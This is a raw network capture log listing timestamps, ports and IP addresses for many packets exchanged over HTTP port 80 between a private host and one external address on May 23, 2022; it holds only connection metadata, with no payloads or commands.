May 23, 2022 09:11:01.924211979 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924243927 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924247980 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924280882 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924283981 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924323082 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924324036 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924360991 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924361944 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924398899 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924398899 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924434900 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924438000 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924468994 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924495935 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924540043 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924551010 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924571037 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924576044 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924602032 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924606085 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924633980 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924638033 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924665928 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924671888 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924701929 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.945290089 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.049401999 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049437046 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049453020 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049477100 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049495935 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049511909 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049530029 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049545050 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.049551964 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049566984 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.049570084 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.049571991 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049571991 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.049578905 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.049588919 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049596071 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.049604893 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049616098 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.049624920 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049628973 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.049659014 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.049683094 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049700975 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049710035 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.049721956 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049729109 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.049738884 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049748898 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.049756050 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049767971 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.049772978 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.049783945 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.049796104 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050298929 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050333977 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050337076 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050354958 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050363064 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050388098 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050391912 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050415993 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050421953 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050436020 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050445080 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050460100 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050467014 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050479889 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050487995 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050501108 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050507069 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050523043 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050530910 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050540924 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050551891 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050570965 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050574064 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050592899 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050602913 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050609112 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050616026 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050626040 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050636053 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050642967 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050648928 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050659895 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050671101 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050677061 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.050685883 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.050704956 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.067606926 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.070090055 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.070127964 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.070147991 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.070164919 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.070204020 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.070234060 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.174432993 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.174504042 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.174523115 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.174544096 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.174545050 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.174576044 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.174581051 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.174612999 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.174618006 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.174654007 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.174654007 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.174685955 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.174690962 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.174722910 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.174726963 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.174758911 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.174762011 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.174794912 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.174798012 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.174829960 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.174834013 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.174865007 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.174896955 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.174932003 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.174935102 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.174967051 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.174993992 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.175028086 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.175033092 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.175065041 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.175069094 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.175101042 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192377090 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192415953 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192445040 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192471981 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192527056 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192548037 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192576885 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192603111 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192611933 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192616940 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192619085 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192631006 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192634106 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192640066 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192660093 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192671061 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192687988 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192701101 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192717075 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192728996 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192744970 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192763090 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192771912 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192779064 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192800045 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192807913 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192828894 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192837954 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192857027 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192863941 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192886114 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192893982 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192912102 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192926884 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192939997 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192949057 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192967892 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.192981958 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.192995071 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.193010092 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.193022013 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.193023920 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.193048954 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.193059921 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.193077087 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.193084955 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.193104029 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.193113089 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.193130970 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.193139076 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.193159103 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.193166018 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.193186998 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.193195105 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.193224907 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.194873095 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.194905043 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.194933891 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.194960117 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.194978952 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.195008993 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.195012093 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.210623980 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.299998999 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.300055981 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.300081968 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.300105095 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.300132990 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.300162077 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.300189018 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.300199032 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.300215006 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.300219059 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.300221920 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.300224066 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.300252914 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.335470915 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335521936 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335546970 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335571051 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335597038 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335623980 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335643053 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.335649014 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335663080 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.335665941 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.335671902 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335671902 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.335695982 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335701942 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.335730076 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335733891 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.335752964 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335763931 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.335777044 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335777998 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.335800886 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335807085 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.335825920 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335834980 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.335849047 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335858107 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.335871935 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335872889 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.335896969 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335905075 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.335923910 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335927963 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.335947037 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.335956097 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.335973978 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336087942 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336122036 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336152077 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336164951 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336174965 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336179018 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336189032 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336203098 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336205006 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336231947 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336257935 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336271048 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336280107 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336301088 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336323023 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336354971 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336379051 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336388111 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336404085 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336405993 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336420059 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336429119 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336443901 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336456060 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336460114 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336497068 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336498022 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336529970 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336530924 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336566925 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336584091 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336606979 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336633921 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336647034 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336647987 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336669922 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.336678982 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.336705923 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425015926 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425051928 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425076008 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425097942 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425117016 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425139904 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425163984 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425170898 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425188065 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425193071 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425196886 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425208092 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425211906 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425223112 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425235033 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425240993 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425257921 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425266981 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425280094 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425282001 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425301075 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425312996 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425326109 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425328016 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425350904 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425364017 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425373077 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425380945 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425395966 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425401926 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425421000 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425426960 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425441980 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425461054 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425467014 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425476074 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425489902 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425499916 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425529003 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425556898 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425595045 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425641060 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425693989 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425703049 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425721884 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425741911 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425744057 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425755024 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425775051 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425925016 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425968885 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.425970078 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.425988913 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426000118 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426011086 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426012993 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426032066 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426043034 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426052094 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426059961 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426085949 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:02.426156044 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426177979 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:02.426198959 CEST	80	49175	66.71.247.68	192.168.2.22
